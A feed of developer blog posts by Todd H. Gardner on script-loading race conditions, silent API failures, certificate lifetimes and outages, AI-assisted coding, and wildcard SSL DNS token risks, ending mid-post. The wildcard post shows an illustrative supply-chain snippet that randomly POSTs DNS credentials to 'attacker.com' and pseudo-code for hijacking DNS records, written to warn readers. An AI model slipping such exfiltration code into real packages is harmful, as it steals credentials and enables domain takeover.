Forem: Todd H. Gardner

Script Loading Race Conditions

Todd H. Gardner — Wed, 22 Oct 2025 19:32:25 +0000

You've tested everything locally. Your staging environment is flawless. Then you deploy to production and suddenly users are reporting "undefined is not a function" errors.

These intermittent failures often come down to script loading race conditions, timing issues that only surface under real, world network conditions. Let's dive into how browsers actually load and execute JavaScript, and why your code might be running before its dependencies are ready.

The Classic Case: jQuery's $ is not defined

One of the most common manifestations of script loading race conditions is the infamous $ is not defined error. While working with the team at TrackJS on documenting JavaScript errors, we found this error affects thousands of production applications daily, particularly those loading libraries from CDNs.

Here's what typically happens:

<script src="https://cdn.example.com/jquery.min.js" async></script>
<script>
  // This might run BEFORE jQuery loads!
  $(document).ready(function() {
    console.log('Ready!');
  });
</script>

Even though the scripts appear in order, there's no guarantee the first script will finish loading before the second executes. This is especially true when the first script comes from an external domain.

How Browsers Actually Load Scripts

Understanding the browser's script loading pipeline is crucial to preventing these race conditions. Here's what really happens when the browser encounters a <script> tag:

The Default (Blocking) Behavior

Without any attributes, scripts block HTML parsing:

Parser encounters <script> → Pauses HTML parsing
Fetches the script → Network request (could be slow!)
Executes immediately → Runs in order encountered
Resumes HTML parsing → Continues building the DOM

This seems safe, but it's terrible for performance. Modern developers often try to optimize this with async or defer attributes, which is where race conditions creep in.

The Async Attribute: Chaos Mode

<script async src="library.js"></script>
<script async src="app.js"></script>

With async:

Scripts download in parallel with HTML parsing
Execute immediately when downloaded
No execution order guarantee
Could run before, during, or after DOMContentLoaded

This means app.js might execute before library.js, even if library.js appears first in the HTML. Chaos!

The Defer Attribute: Ordered but Delayed

<script defer src="library.js"></script>
<script defer src="app.js"></script>

With defer:

Scripts download in parallel with HTML parsing
Wait to execute until HTML parsing completes
Execute in order they appear in the document
Always run before DOMContentLoaded event

This sounds perfect, but there's a catch: defer only works for external scripts with a src attribute. Inline scripts ignore defer completely.

Real-World Race Condition Scenarios

Scenario 1: Mixed Loading Strategies

<script defer src="jquery.js"></script>
<script>
  // This inline script runs IMMEDIATELY, before deferred jQuery!
  $(function() {
    console.log('Broken!');
  });
</script>

The inline script executes immediately while jQuery waits due to defer. Result: $ is not defined.

Scenario 2: Dynamic Script Injection

// Dynamically injected scripts are async by default
const script = document.createElement('script');
script.src = 'dependency.js';
document.head.appendChild(script);

// This runs immediately, not waiting for dependency.js
initializeApp(); // Error if this needs dependency.js

Scenario 3: Network Timing Variations

<script src="https://fast-cdn.com/small-lib.js"></script>
<script src="https://slow-cdn.com/huge-lib.js"></script>
<script src="/js/app.js"></script>

In development (fast network): Everything loads in order.
In production (variable network):

User on fast connection: Works fine
User on 3G: small-lib loads, huge-lib stalls, app.js breaks
User behind corporate firewall: CDNs blocked entirely

How to Prevent Script Loading Race Conditions

1. Explicit Load Event Handling

Instead of hoping scripts load in order, explicitly wait for them:

function loadScript(src) {
  return new Promise((resolve, reject) => {
    const script = document.createElement('script');
    script.src = src;
    script.onload = resolve;
    script.onerror = reject;
    document.head.appendChild(script);
  });
}

// Guaranteed order
async function initializeApp() {
  try {
    await loadScript('https://cdn.example.com/jquery.js');
    await loadScript('https://cdn.example.com/plugins.js');
    await loadScript('/js/app.js');

    // Everything is loaded!
    $(document).ready(() => {
      console.log('Safe to use jQuery');
    });
  } catch (error) {
    console.error('Script loading failed:', error);
    // Handle gracefully
  }
}

initializeApp();

2. Module Systems (ES6 Modules)

Modern JavaScript modules handle dependencies explicitly:

// app.js
import $ from 'jquery';
import { initPlugin } from './plugin.js';

// These imports are guaranteed to resolve before this code runs
$(document).ready(() => {
  initPlugin();
});

With native ES6 modules or bundlers like Webpack, dependencies are explicit and loading order is guaranteed.

3. Script Loading Libraries

Libraries like LoadJS or HeadJS provide robust script loading with dependency management:

loadjs(['jquery.js', 'plugins.js'], 'core');

loadjs.ready('core', function() {
  // All core scripts are loaded
  initializeApp();
});

4. Defensive Coding Patterns

Always check for dependencies before using them:

// Retry pattern for external dependencies
function waitForGlobal(name, callback, maxAttempts = 50) {
  let attempts = 0;

  function check() {
    attempts++;

    if (window[name]) {
      callback();
    } else if (attempts < maxAttempts) {
      setTimeout(check, 100);
    } else {
      console.error(`${name} failed to load after ${maxAttempts} attempts`);
    }
  }

  check();
}

// Usage
waitForGlobal('jQuery', function() {
  // Safe to use jQuery
  $(document).ready(initApp);
});

5. Bundle Everything

The most reliable solution? Bundle all your JavaScript together:

// webpack.config.js
module.exports = {
  entry: './src/index.js',
  output: {
    filename: 'bundle.js'
  },
  // All dependencies bundled in correct order
};

One file, no external dependencies, no race conditions. The tradeoff is bundle size and caching granularity.

Testing for Race Conditions

Race conditions are notorious for working fine in development but breaking in production. Here's how to catch them early:

1. Throttle Your Network

Chrome DevTools → Network tab → Throttling:

Test with "Slow 3G" preset
Create custom profiles matching your users' connections
Add variable latency to simulate real networks

2. Block External Resources

Test what happens when CDNs fail:

Open DevTools
Network tab → Block request domain
Add CDN domains to blocklist
Reload and observe failures

3. Randomize Script Loading

Add artificial delays to expose race conditions:

// In development only!
if (process.env.NODE_ENV === 'development') {
  const originalAppendChild = Node.prototype.appendChild;

  Node.prototype.appendChild = function(child) {
    if (child.tagName === 'SCRIPT' && Math.random() > 0.5) {
      // Random delay between 0-2 seconds
      setTimeout(() => {
        originalAppendChild.call(this, child);
      }, Math.random() * 2000);
      return child;
    }
    return originalAppendChild.call(this, child);
  };
}

4. Use Error Monitoring

Production race conditions often only appear under specific conditions. Use error monitoring to catch them:

Track script loading errors
Monitor undefined function/variable errors
Correlate errors with network conditions
Identify patterns (specific browsers, connection speeds, regions)

Key Takeaways

Script execution order is not guaranteed unless you explicitly control it
Async and defer change loading behavior in ways that can introduce race conditions
Network conditions in production are wildly different from development
CDN dependencies add points of failure you don't control
Defensive coding and explicit dependency management prevent most issues
Test with realistic network conditions to catch problems early
Monitor production errors to catch edge cases you didn't anticipate

Script loading race conditions are one of those problems that seem simple but hide tremendous complexity. The key is understanding how browsers actually work, not how we think they work. Once you grasp the loading pipeline, you can write JavaScript that's resilient to the chaos of real-world networks.

Remember: every external script is a potential race condition. Every inline script is a potential execution order issue. Plan accordingly, and your production JavaScript will be far more reliable.

Have you encountered bizarre script loading issues in production? What patterns do you use to prevent race conditions? Share your war stories in the comments!

The Hidden Cost of Silent API Failures in Production

Todd H. Gardner — Thu, 16 Oct 2025 15:12:59 +0000

The checkout flow worked perfectly in staging. All the tests passed. The team celebrated shipping on time. Three weeks later, you're in an emergency meeting explaining how you lost $50,000 in revenue because nobody knew the payment API was returning HTML error pages instead of JSON.

This is a true story, just with the numbers rounded for their protection.

The Perfect Storm Nobody Saw Coming

Here's what happened: Their payment processor's API started having intermittent issues. Nothing major, just occasional 503 errors during high load. The kind of thing that happens to every API eventually.

But instead of returning a JSON error response, the payment gateway's load balancer served its default HTML maintenance page. The frontend code tried to parse this HTML as JSON, hit an Unexpected token '<' error, and silently swallowed the exception in a poorly-written try-catch block.

// The code that cost $50,000
try {
  const response = await fetch('/api/process-payment');
  const data = await response.json(); // 💥 Dies here when HTML returned

  if (data.success) {
    showSuccessMessage();
  } else {
    showErrorMessage(data.error);
  }
} catch (e) {
  // Developer assumed this would only catch network errors
  console.log('Network error, will retry...');
  // But it also caught JSON parsing errors
  // Customer sees nothing, assumes payment worked
}

Customers would click "Complete Purchase," see a spinner, then... nothing. No error message. No success message. Many assumed it worked and left. Others tried multiple times, creating duplicate charges when the API recovered. Some gave up and bought from a competitor.

The worst part? This ran for three weeks before anyone noticed.

Why Silent Failures Are Your Biggest Threat

Loud failures are easy. Database down? Customers see a maintenance page. Everyone knows something's wrong.

Silent failures are insidious. They look like success. But revenue is quietly bleeding out.

1. Mismatched Content Types

Your code expects JSON, but gets:

HTML error pages from load balancers
XML from legacy systems
Plain text from misconfigured endpoints
HTML login pages from expired auth

2. Overly Optimistic Error Handling

// What junior devs write
try {
  return await apiCall();
} catch {
  return defaultValue; // "It'll be fine"
}

// What senior devs write after being burned
try {
  const response = await apiCall();

  // Validate EVERYTHING
  if (!response.ok) {
    throw new Error(`API returned ${response.status}`);
  }

  const contentType = response.headers.get('content-type');
  if (!contentType?.includes('application/json')) {
    throw new Error(`Expected JSON, got ${contentType}`);
  }

  return await response.json();
} catch (error) {
  // Log to monitoring service
  errorReporter.captureException(error, {
    endpoint: '/api/endpoint',
    status: response?.status,
    contentType: response?.headers.get('content-type')
  });

  // User sees actual error
  showUserError('Payment processing temporarily unavailable');
  throw error; // Re-throw to prevent silent failure
}

3. Missing Observability Layers

Most teams monitor infrastructure metrics but miss application-level failures:

// Infrastructure says everything is fine
✅ Server: 200 OK
✅ Response time: 145ms  
✅ Memory usage: 62%

// But the actual response was:
<!DOCTYPE html>
<html>
<head><title>503 Service Unavailable</title></head>
<body>Maintenance in progress</body>
</html>

// Which caused:
❌ JSON parsing failed
❌ Payment flow broken
❌ Customer charged but no order created
❌ $50,000 in lost revenue

The True Cost of Silent Failures

Let's do the math on that $50,000 loss:

const impactAnalysis = {
  directLoss: {
    failedTransactions: 823,
    averageOrderValue: 47.50,
    lostRevenue: 39_092.50
  },

  indirectLoss: {
    customerServiceHours: 120,
    hourlyCost: 35,
    laborCost: 4_200
  },

  reputationDamage: {
    negativeReviews: 47,
    estimatedLifetimeValueLost: 8_900
  },

  technicalDebt: {
    emergencyFixHours: 40,
    developerHourlyCost: 150,
    rushDeploymentCost: 6_000
  },

  totalImpact: 58_192.50
};

console.log(`Actual cost: $${totalImpact.toLocaleString()}`);
// "But our monitoring showed 99.9% uptime!" 🤡

Building a Defense System

You can't prevent all API failures, but you can prevent them from being silent. Here's your defensive playbook:

Layer 1: Paranoid Parsing

Never trust external data:

class APIClient {
  async safeFetch(url, options = {}) {
    const response = await fetch(url, {
      ...options,
      headers: {
        'Accept': 'application/json',
        ...options.headers
      }
    });

    // Log non-JSON responses BEFORE parsing
    const contentType = response.headers.get('content-type');
    if (!contentType?.startsWith('application/json')) {
      // Capture the actual response for debugging
      const text = await response.text();

      this.logError({
        message: 'Non-JSON response received',
        url,
        status: response.status,
        contentType,
        preview: text.substring(0, 200)
      });

      throw new Error(
        `API returned ${contentType || 'unknown'} instead of JSON`
      );
    }

    return response;
  }
}

Layer 2: Circuit Breakers with Metrics

Track failure patterns, not just failures:

class MonitoredCircuitBreaker {
  constructor(name, options) {
    this.name = name;
    this.failures = [];
    this.threshold = options.threshold || 5;
    this.timeout = options.timeout || 60000;
  }

  async execute(fn) {
    if (this.isOpen()) {
      this.metrics.circuitOpen(this.name);
      throw new Error(`Circuit breaker ${this.name} is open`);
    }

    try {
      const start = Date.now();
      const result = await fn();

      this.metrics.success(this.name, Date.now() - start);
      this.reset();
      return result;

    } catch (error) {
      this.recordFailure(error);

      // Track the TYPE of failure
      if (error.message.includes('Unexpected token')) {
        this.metrics.htmlResponse(this.name);
      } else if (error.message.includes('timeout')) {
        this.metrics.timeout(this.name);
      }

      throw error;
    }
  }

  recordFailure(error) {
    this.failures.push({
      timestamp: Date.now(),
      error: error.message,
      stack: error.stack
    });

    // Keep only recent failures
    const cutoff = Date.now() - this.timeout;
    this.failures = this.failures.filter(f => f.timestamp > cutoff);

    if (this.failures.length >= this.threshold) {
      this.trip();
    }
  }
}

Layer 3: User-Visible Degradation

When things fail, fail loudly to the user:

// Instead of silent failure
function SilentCheckout() {
  const [processing, setProcessing] = useState(false);

  async function handleCheckout() {
    setProcessing(true);
    try {
      await processPayment();
      // Success path
    } catch {
      // User sees nothing! 
    }
    setProcessing(false);
  }
}

// Explicit failure states
function ResilientCheckout() {
  const [state, setState] = useState('idle');
  const [error, setError] = useState(null);

  async function handleCheckout() {
    setState('processing');
    setError(null);

    try {
      await processPayment();
      setState('success');

    } catch (error) {
      setState('error');

      // User ALWAYS sees something went wrong
      if (error.message.includes('Unexpected token')) {
        setError('Payment service is temporarily unavailable. Please try again in a few minutes.');

        // Track for analytics
        analytics.track('payment_api_html_response', {
          error: error.message
        });

      } else {
        setError('Payment failed. Please check your information and try again.');
      }

      // Log for developers
      errorReporter.captureException(error);
    }
  }

  return (
    <div>
      {state === 'error' && (
        <Alert severity="error">
          {error}
          <Button onClick={handleCheckout}>Retry Payment</Button>
        </Alert>
      )}
    </div>
  );
}

Layer 4: Proactive Monitoring

Don't wait for customers to complain:

// Synthetic monitoring - run every 5 minutes
async function syntheticCheckoutTest() {
  const testCard = '4111111111111111';

  try {
    const response = await fetch('/api/process-payment', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        amount: 1.00,
        card: testCard,
        test: true
      })
    });

    // Validate response format, not just status
    const contentType = response.headers.get('content-type');
    if (!contentType?.includes('json')) {
      await alertOncall({
        severity: 'critical',
        message: 'Payment API returning HTML',
        contentType,
        response: await response.text()
      });
    }

  } catch (error) {
    await alertOncall({
      severity: 'critical', 
      message: 'Synthetic checkout test failed',
      error: error.message
    });
  }
}

The Morning After Fix

After the $50,000 incident, here's what the team implemented:

Mandatory response validation - Every API call validates content-type before parsing
Error budgets - If JSON parsing errors exceed 0.1%, alerts fire
Customer-facing error messages - No more silent failures
Replay capability - Failed transactions can be retried when service recovers
Real-time revenue monitoring - Sudden drops trigger immediate investigation

Most importantly, they learned that Unexpected token errors aren't just annoying console noise - they're canaries in the coal mine warning you about API contract violations.

Your Action Items

Stop reading and go check your production logs right now. Search for:

Unexpected token <
JSON.parse errors
SyntaxError
Empty catch blocks in payment/checkout code

If you find any, you might be losing money right now.

Then implement:

Today: Add content-type validation to your API client
This week: Set up monitoring for JSON parsing errors
This sprint: Add circuit breakers to critical paths
This quarter: Run chaos engineering tests with HTML injection

Because the next silent failure might not just cost $50,000. It might cost you a customer who never comes back.

Remember: In production, the scariest errors aren't the ones that throw exceptions - they're the ones that don't.

"Effective September 1, 2020, certificates valid for more than 398 days will not be trusted." No vote. No consensus. Just done.

Todd H. Gardner — Mon, 06 Oct 2025 20:59:59 +0000

Todd H. Gardner for CertKit • SSL Certificate Management

Oct 6 '25

Apple vs. The CAs: The Day One Company Changed Internet Security Forever

#ssl #certificates #secops

Comments

2 min read

Apple vs. The CAs: The Day One Company Changed Internet Security Forever

Todd H. Gardner — Mon, 06 Oct 2025 20:59:27 +0000

February 2020. Bratislava, Slovakia. The CA/Browser Forum face-to-face meeting.

A room full of Certificate Authority executives who'd successfully killed every attempt to shorten certificate lifetimes. They'd just stonewalled another attempt at shorter certificates. Business as usual.

Then Apple stood up.

"Effective September 1, 2020, certificates valid for more than 398 days will not be trusted."

No vote. No consensus. Just done.

The room went silent. Then exploded.

The Setup

For context, browsers had been trying to reduce certificate lifetimes since 2017. The whole industry knew 47 day certificates were coming eventually. But the CAs had a beautiful voting bloc. Every proposal died the same way:

Browsers: "Shorter certificates are safer."
CAs: "Our customers aren't ready."
Vote fails.

Rinse. Repeat. Cash checks.

Google tried with Ballot 185 in 2017. Failed.
Google, Apple, and Let's Encrypt tried with SC22 in 2019. Failed.

The CAs thought they'd figured out the game. Control the votes, control the timeline, control the revenue.

The Blindside

Apple's announcement wasn't even on the agenda.

They just stood up during their Root Program update and dropped the bomb. Here's the actual quote that changed everything:

"Given the challenges of reaching consensus within the Forum, Apple is moving forward with a unilateral requirement."

Translation: "You had your chance to play nice."

Chris from Entrust captured the CA panic perfectly: "The Forum was created to set these policies together. This undermines the entire process."

Yeah, Chris. That's the point.

The Fallout Was Immediate

Within 72 hours:

Mozilla signaled they'd probably follow
Google started drafting similar requirements
Microsoft began "evaluating alignment opportunities"

Corporate speak for: "Apple just gave us cover to do what we wanted anyway."

The CAs suddenly discovered they could implement automation after all. Amazing how fast "impossible" becomes "challenging but feasible" when Safari won't load your certificates.

Why Apple Could Do This

Here's what the CAs missed: The browsers hold all the cards.

Think about it. What's a Certificate Authority without browser trust? A random company with expensive HSMs and nobody to sell to.

But a browser without one specific CA? Still works fine. Hundreds of other CAs eager to comply.

Apple understood the assignment. They didn't need consensus. They needed Safari to be secure.

The Beautiful Irony

Remember all those enterprise customers who "couldn't possibly handle" shorter certificates?

Turns out they could.

Remember the complex approval processes that made automation "impossible"?

Suddenly solvable.

Remember the legacy systems that would "never support" 398-day certificates?

Miraculously updated.

All it took was one company saying "We're done waiting."

The Lesson

The Bratislava announcement taught everyone a simple truth: Standards bodies only work when everyone wants to standardize.

When half the room profits from the problem, you don't get solutions. You get committees.

Apple didn't fix the committee. They made it irrelevant.

And that's how certificate lifetimes went from "impossible to reduce" to "reducing whether you like it or not" in one Wednesday afternoon in Slovakia.

The CAs learned something that day: You can stonewall a committee. You can't stonewall reality.

[Boost]

Todd H. Gardner — Fri, 19 Sep 2025 15:52:18 +0000

Todd H. Gardner for CertKit • SSL Certificate Management

Sep 19 '25

That Time a Certificate Took Down Production: A DevOps Trauma Bond

#discuss #devops #ssl #secops

Comments 1

5 min read

That Time a Certificate Took Down Production: A DevOps Trauma Bond

Todd H. Gardner — Fri, 19 Sep 2025 15:51:25 +0000

We All Have "The Incident"

Ask any DevOps engineer about their worst certificate story and watch their face change. The thousand-yard stare. The nervous laugh. The "oh god, that day" head shake.

Mine was February 2019. 3 AM. My phone buzzing like an angry hornet. Production down. Not just our app—everything. The API, the admin portal, the status page that was supposed to tell people about outages.

The certificate had expired 37 seconds ago.

The renewal script had been failing since January 3rd. The alerting was configured to email tom@company.com. Tom left in 2017. Nobody created an alias. The logs were writing to a disk that filled up in December.

I fixed it in pajamas and shame while the CEO asked questions I couldn't answer.

We don't talk about February 2019.

The Certificate Trauma Collection

"The One Where We Lost a Customer"

From Rachel, SRE at a fintech startup:

"Our biggest client was doing their quarterly security review. Super strict about compliance. Of course, that's when our customer portal certificate decided to expire. Not at midnight like a civilized certificate. At 2:17 PM. During their review.

The customer's security team screenshots the browser warning. Emails their executives. Uses words like 'critical security failure' and 'unacceptable risk.'

We renewed it in twelve minutes. They terminated our contract in twelve days.

The certificate? It was for a staging environment. That we forgot existed. That was somehow accessible from their IP range. That nobody used except during security reviews."

"The Recursive Dependency Hell"

From Marcus, Platform Engineer:

"We had bulletproof certificate automation. Monitored by Prometheus. Prometheus secured with certificates. Those certificates managed by Vault. Vault's certificates managed by our automation. Our automation authenticated to Vault using... certificates.

Can you see where this is going?

One expired certificate started a cascade. Automation couldn't authenticate to Vault. Vault couldn't issue new certificates. Monitoring couldn't alert because its certificates were expired. The dead man's switch? Also certificate-protected.

We call it Certificate Ouroboros. We fixed it with console access and tears."

"The Weekend Wedding Special"

From Alex, DevOps Lead:

"My colleague was getting married. Beautiful destination wedding. No phone coverage. We all knew. We prepared. We had runbooks. We had backups for the backups.

The certificate that expired wasn't in our inventory. It was for an internal service that nobody knew used HTTPS. But our main app had a hard dependency on it. At startup. Which happened during our Saturday deployment.

The groom fixed it from his honeymoon suite while his new spouse questioned their life choices.

He still flinches when anyone mentions certificates."

"The Printer Incident"

From Jordan, Systems Engineer:

"A network printer took down our entire authentication system. I'm not making this up.

Some genius years ago decided the printer needed a web interface. With HTTPS. With a certificate from our internal CA. The printer firmware couldn't auto-renew. Nobody documented this.

When it expired, it started hammering our LDAP server with auth requests. Thousands per second. LDAP crashed. Nobody could log into anything. VPN, email, door badges—all dead.

Six hours to trace it to a printer. A PRINTER.

We now have a spreadsheet called 'Devices That Shouldn't Have Certificates But Do.' It has 47 entries."

"The Time Zone Disaster"

From Sam, Infrastructure Engineer:

"Our certificate expired at midnight. We knew this. We scheduled the renewal for 11 PM. Foolproof.

Except the server was in UTC. The renewal script used local time. The monitoring was in Eastern. The certificate authority was in Pacific.

It expired at what we thought was 7 PM. The renewal ran at what it thought was 11 PM. Which was 3 AM the next day. Seven hours of downtime because nobody agrees what time it is.

We now use only UTC. For everything. My calendar looks insane but at least certificates renew."

Why These Stories Are Universal

It's Always the Forgotten System

Nobody's production web server certificate expires anymore. We monitor those obsessively. It's always:

The internal wiki from 2016
The IoT device someone connected once
The test server that became critical
The vendor appliance with a web interface
The thing labeled "temporary" three years ago

The Documentation Is Fiction

Every certificate horror story includes someone saying "according to the documentation..." followed by hollow laughter.

The wiki says the cert is at /etc/ssl/certs. It's actually at /opt/custom/app/security/keys/new/final/. The renewal instructions reference servers decommissioned during Obama's first term. The contact person is "admin."

The Timing Is Sadistic

Certificates don't expire on boring Tuesday afternoons. They expire:

During board presentations
On holidays
During migrations
While you're at the dentist
The day after you said "our infrastructure is rock solid"

It's like they know.

The Fix Is Always Temporary

"We'll just manually renew it this once."
"Quick workaround for now."
"We'll automate it properly next sprint."

Three years later, that "temporary" fix is load-bearing infrastructure held together by cron jobs and hope.

The Shared Trauma Response

Every DevOps team develops the same coping mechanisms:

The Paranoid Calendar: Seventeen different reminders for each certificate. Email, Slack, text message, carrier pigeon. All set for a week before expiration. Nobody trusts automation anymore.

The Ceremony: The ritual checking of certificates every Monday morning. Opening each site. Clicking the padlock. Muttering "good, good, still valid." It's not rational. It's necessary.

The Stories: We tell these tales to new hires like ghost stories. "Gather 'round and let me tell you about The Great Certificate Expiration of 2018..." It's partly warning, partly therapy.

The Overcorrection: One expired certificate and suddenly you have monitoring for your monitoring, alerts for your alerts, and a runbook that rivals War and Peace.

Why We Keep Doing This to Ourselves

We're smart people. We automate everything else. We have sophisticated deployment pipelines. We use machine learning for capacity planning.

But certificates? We're still running bash scripts written by someone who left three years ago.

Because fixing it properly means admitting we've been doing it wrong. It means explaining to management why we need to spend three sprints on something that "already works." It means acknowledging that our home-grown certificate management is held together with digital duct tape.

So we patch. We workaround. We add another monitoring check. We tell ourselves we'll fix it properly "next quarter."

Then 3 AM comes. The phone buzzes. And we create another story for the collection.

The Universal Truth

If you've been in DevOps for more than two years and don't have a certificate horror story, you're either lying or lucky. Probably both.

These aren't just war stories. They're warnings. Every "that could never happen to us" is followed, eventually, by "how did this happen to us?"

Your certificate horror story isn't a matter of if. It's a matter of when.

The only question is: Will it be original enough to share at DevOps meetups?

Breaking the Cycle

Maybe it's time to stop collecting these stories. Maybe it's time to admit that certificate management isn't something we should be building ourselves. Maybe it's time to let someone else stay up at 3 AM.

But until then, we'll keep swapping tales of certificate disasters. Bonding over our shared trauma. Adding new chapters to the anthology of "things that shouldn't have expired but did."

Because every DevOps team has that one certificate story.

What's yours?

[Boost]

Todd H. Gardner — Wed, 10 Sep 2025 20:32:00 +0000

Todd H. Gardner for TrackJS

Sep 10 '25

From StackOverflow to Vibe Coding: The Evolution of Copy-Paste Development

#javascript #webdev #ai #debugging

Comments 4

4 min read

From StackOverflow to Vibe Coding: The Evolution of Copy-Paste Development

Todd H. Gardner — Wed, 10 Sep 2025 20:30:32 +0000

I was helping a developer debug their Vue app last week. The entire thing was written by Claude. Not "assisted by" or "pair-programmed with"—just straight-up written by an AI from a series of prompts.

The bug? A classic race condition that anyone who's written async JavaScript would spot immediately. But here's the thing—they'd never written async JavaScript. They'd only ever prompted for it.

And honestly? I'm not even surprised. There's been copy-paste developers since the dawn of programming. They just changed where they copy it from.

The StackOverflow Era (2008-2020)

Remember when StackOverflow was the dirty little secret of professional development? We'd have it open in another tab, frantically searching for that one answer with the green checkmark.

// copied from StackOverflow
uuid: function () {
  return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {
    var r = Math.random() * 16 | 0, v = c == "x" ? r : (r & 0x3 | 0x8);
    return v.toString(16);
  });
}

I've been copy-pasting this little guy for years.

At least with StackOverflow, you got to see other developers arguing in the comments about why the solution was wrong. Educational, in a way. You'd learn that your code was bad, but also why it was bad, usually from someone with strong opinions about semicolons.

The GitHub Copilot Transition (2021-2023)

Then came Copilot, and suddenly we were copying code before we even knew we needed it. It was like having that one senior developer who types faster than they think, except it was trained on every npm package that ever existed, including the ones with critical security vulnerabilities.

The weird part about Copilot was how it made you feel like you were still writing code. You'd type a comment, hit tab, and boom—instant function. You were "programming" in the same way that heating up a frozen dinner is "cooking."

// Function to validate email
function validateEmail(email) {
  // Copilot autocompleted this regex I'll never understand
  const re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
  return re.test(String(email).toLowerCase());
}

We went from copying whole functions to copying whole files. Progress?

The ChatGPT Revolution (2023-Present)

Now we don't even pretend to write code. We just describe what we want in plain English and hope for the best. It's called "prompt engineering," which is like calling yourself a "search engineer" because you're good at Google.

The modern development workflow:

I watched a junior developer build an entire e-commerce site this way. They couldn't explain what useEffect did, but they could prompt their way through implementing Stripe payments. It's simultaneously impressive and terrifying.

The Plot Twist: AI-Generated Bugs Need AI-Powered Debugging

Here's the thing nobody talks about: when AI writes your code, traditional debugging becomes nearly impossible. You can't debug code you don't understand. It's like trying to fix a car when you don't know what an engine is.

Last month, we saw a production issue where React was throwing hydration mismatch errors. The developer who wrote it (or rather, prompted for it) had no idea what hydration even meant. They just knew that ChatGPT said to use Date.now() in their component and now production was on fire.

This is exactly why we built an AI code debugger at TrackJS. Not because we wanted to—I actually hate that we need this—but because it's the logical conclusion of where we are. If AI is writing the bugs, AI needs to fix them too.

The debugger sees the full error context: stack traces, browser info, user actions, network requests. It's like having a senior developer who actually understands the code review it, except this senior developer has read every JavaScript error that ever existed and doesn't judge you for not knowing what a Promise is.

The Uncomfortable Truth

We've gone from copying code we don't understand from StackOverflow to copying code we don't understand from AI. The only real difference is the AI doesn't passive-aggressively tell us our question is a duplicate.

But here's what actually bothers me: we're creating a generation of developers who can build anything but fix nothing. They can prompt their way through creating a complex app but can't debug a simple race condition. They know how to ask for code but not how to read it.

What Happens Next?

I don't think we're going back. The genie's out of the bottle, and honestly, the productivity gains are too good to give up. I can build prototypes in hours that used to take days.

The difference is that now the entire stack is becoming opaque. We're building on foundations we don't understand, with code we didn't write, debugging errors we can't comprehend. It's turtles all the way down, except the turtles are language models trained on Reddit comments.

Maybe that's fine. Maybe understanding your code is overrated. Maybe we're entering an era where software development is more about knowing what to build than how to build it.

Or maybe we're setting ourselves up for a spectacular failure when all these AI-generated codebases need to be maintained by humans who've never actually written a for loop.

Either way, at least the debugging tools are keeping up. Our AI code debugger can explain why your AI-generated code is failing, complete with examples and fixes. It's AI all the way down, and I hate that it works so well.

What's your take? Are we evolving or devolving as developers? Have you shipped AI-generated code you don't understand? Drop a comment below—I promise I won't judge. We're all just trying to ship features and go home.

[Boost]

Todd H. Gardner — Fri, 05 Sep 2025 00:59:03 +0000

Todd H. Gardner for CertKit • SSL Certificate Management

Sep 5 '25

Your Wildcard SSL Setup is a Security Nightmare (And You Don't Even Know It)

#security #webdev #dns #devops

Comments

4 min read

Your Wildcard SSL Setup is a Security Nightmare (And You Don't Even Know It)

Todd H. Gardner — Fri, 05 Sep 2025 00:58:24 +0000

That wildcard certificate you just set up for *.yourapp.com?

You probably gave some random script full access to your entire DNS zone. The same zone that controls your email. Your subdomains. Your everything.

Let me show you exactly how badly you just compromised your infrastructure, and why nobody's talking about it.

The Code You Just Ran Without Reading

Be honest. You googled "wildcard certificate nginx" and ran the first tutorial you found. It looked something like this:

# "Just run this, it's fine!"
certbot certonly \
  --dns-cloudflare \
  --dns-cloudflare-credentials ~/.secrets/cloudflare.ini \
  -d '*.yourapp.com'

Harmless, right? Let's look at what's in that credentials file:

# cloudflare.ini
dns_cloudflare_api_token = your-api-token-with-zone-edit-permissions

Congrats. You just gave CertBot—and any process that can read that file—the ability to:

Delete all your DNS records
Redirect your domain anywhere
Intercept your email
Create subdomain takeovers
Basically destroy your entire online presence

What That API Token Can Actually Do

When you create a DNS API token for wildcard certificates, you need Zone:DNS:Edit permissions. Sounds reasonable. Here's what that actually means in code:

// What you think you're allowing:
await updateDNSRecord({
  type: 'TXT',
  name: '_acme-challenge',
  content: 'some-validation-string'
});

// What you're ACTUALLY allowing:
await deleteAllDNSRecords();
await createDNSRecord({
  type: 'A',
  name: '@',
  content: '1.2.3.4' // attacker's server
});
await createDNSRecord({
  type: 'MX',
  name: '@',
  content: 'attacker-mail-server.com'
});
await deleteRecord('SPF');
await deleteRecord('DMARC');
// ... goodbye, domain

That token doesn't just add TXT records for ACME challenges. It can modify, delete, or replace ANY record in your zone.

Real Attack Scenarios That Should Terrify You

Scenario 1: The Leaked Credentials File

Your .ini file with DNS credentials gets committed to a repo. "It's a private repo," you say. Until:

Someone's GitHub token gets compromised
An employee goes rogue
You accidentally make the repo public for 30 seconds
GitHub Copilot suggests it in someone else's code (yes, this happens)

Now attackers have your DNS. Not your server. Your entire DNS zone.

Scenario 2: The Compromised Server

Your web server gets popped through an unrelated vulnerability. The attacker finds your CertBot credentials sitting at ~/.secrets/cloudflare.ini.

They don't need root. They don't need to escalate privileges. They just need to read one file that your web user has access to (because CertBot runs as that user).

Scenario 3: The Supply Chain Attack

That CertBot plugin you're using? Or that Node.js ACME library? They're open source. Maintained by volunteers. What happens when:

// node_modules/some-acme-client/index.js
// After a "helpful" PR that "fixes DNS validation issues"

async function validateDNS(credentials) {
  // Original code
  await createTXTRecord('_acme-challenge', challenge);

  // Sneaky addition
  if (Math.random() < 0.001) { // 0.1% chance, hard to detect
    await fetch('https://attacker.com/steal-creds', {
      method: 'POST',
      body: JSON.stringify(credentials)
    });
  }

  return true;
}

Your DNS credentials are now being slowly exfiltrated. One in a thousand renewals. You'll never notice.

The "Best Practice" That's Actually Worse

"Use a separate AWS account for Route53!" they say. "Principle of least privilege!"

Cool. Now you have:

DNS credentials in AWS Account B
Your app in AWS Account A
Cross-account IAM roles
Credentials that need to cross boundaries
More complex automation
The same fundamental problem: Your app still has full DNS access

You've added complexity without solving the core issue.

The Fix Nobody Tells You About

Here's what you should actually do:

Solution 1: DNS Delegation for Validation

Create a separate DNS zone just for ACME validation:

// Your main zone (protected)
